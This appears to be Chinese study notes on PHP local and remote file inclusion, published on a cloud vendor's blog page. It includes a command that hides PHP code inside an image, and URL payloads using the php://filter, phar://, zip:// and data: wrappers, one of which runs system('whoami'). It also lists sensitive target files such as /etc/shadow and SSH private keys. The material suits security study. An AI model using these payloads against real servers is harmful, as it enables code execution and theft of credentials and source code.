文件包含

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 参考文献:https://www.anquanke.com/post/id/86123制作图种:copy 1.png/b+1.php/a 2.png/b:以二进制打开。

参考文献:https://www.anquanke.com/post/id/86123

制作图种:

copy 1.png/b+1.php/a 2.png

/b:以二进制打开。用于图像类/声音类文件
/a:以ascii打开。用于txt文档类文件

php中引发文件包含漏洞的函数:
①.include()
②.include_once()
③.require()
④.require_once()

LFI(Local File Inclusion):
用include()的时候,出错的话,只会提出警告,会继续执行下面语句。


img_b00ced9169352bab663b2b1cbac604b3.png
2.png

用require()的时候,出错的话,会提出警告,不会继续执下面语句。


img_79df34c548f1a9e6d72083a2c2c7271f.png
3.png

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。(1.txt为同目录下的一个文件,内容<? php info(); ?>)


img_796bd4989b7043784964b43640792a16.png
1.png

img_5dcf15d922e8586a695357d2aaa38f4a.png
4.png

RFI(Remote File Inclusion)
远程文件包含漏洞,是指能够包含远程服务器上的文件并执行,远程服务器的文件是我们可控的。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。


img_2904eeb75437bcd76967545b0c97dbf6.png
2.png

php://input:allow_url_include = On,对allow_url_fopen不做要求。

img_355c98b739ec903a1cc6c28f081fa3b9.png
1.png

php://filter:没有要求。
/1.php?filename= php://filter/read=convert.base64-encode/resource=1.php
/1.php?filename= php://filter/convert.base64-encode/resource=1.php//可绕read,通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

phar://:php版本大于等于php5.3.0(相对路径或绝对路径都可以)
/1.php?filename=phar://1.zip/1.txt #1.zip为1.txt的压缩文件,1.txt内容不变
/1.php?filename=phar://G:/wamp/www/filebaohan/1.zip/1.txt

zip://php:版本大于等于php5.3.0,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件,适用于验证包含文件为特定后缀时。
/1.php?filename=zip://G:/wamp/www/filebaohan/1.zip%231.txt

img_fe7d746747938a5fa7e810fb52f8b55b.png
1.png

/2.php?file= zip://G:/wamp/www/filebaohan/1.zip%231.jpg
其实感觉这个挺鸡肋的,要是能找到文件的绝对路径,直接上菜刀多好了。。。

data:URI schema:php版本大于等于php5.2,allow_url_fopen = On,allow_url_include = On
/1.php?filename=data:text/plain,%3C?php%20phpinfo();?%3E
/1.php?filename=data:text/plain,%3C?php%20system(%22whoami%22);?%3E
/1.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>,可以将需要的内容base64加密,然后用这个命令执行。

apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf或者/etc/init.d/httpd

还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑

敏感文件:
1、Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息

2、Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
4月前
|
自然语言处理 编译器 程序员
【头文件】对.h文件的理解
【头文件】对.h文件的理解
88 1
|
C++
C++分文件编写:拆类(.h和.cpp文件)
C++分文件编写:拆类(.h和.cpp文件)
114 0
|
存储 安全 Shell
|
C语言
文件二合一
通过对C语言二进制文件的操作,将两个文件合并成为一个新的文件。通过改后缀的方式使的文件自由转换。
55 0
|
安全 Shell Linux
7.文件包含
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
7.文件包含
|
安全 PHP Apache
8.文件包含实战
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
8.文件包含实战
|
安全 PHP 开发者
文件包含实现|学习笔记
快速学习文件包含实现
79 0
文件包含实现|学习笔记
|
安全 PHP Apache
文件包含路径|学习笔记
快速学习文件包含路径
130 0
文件包含路径|学习笔记
|
安全 PHP 开发者
文件包含区别|学习笔记
快速学习文件包含区别
83 0
文件包含区别|学习笔记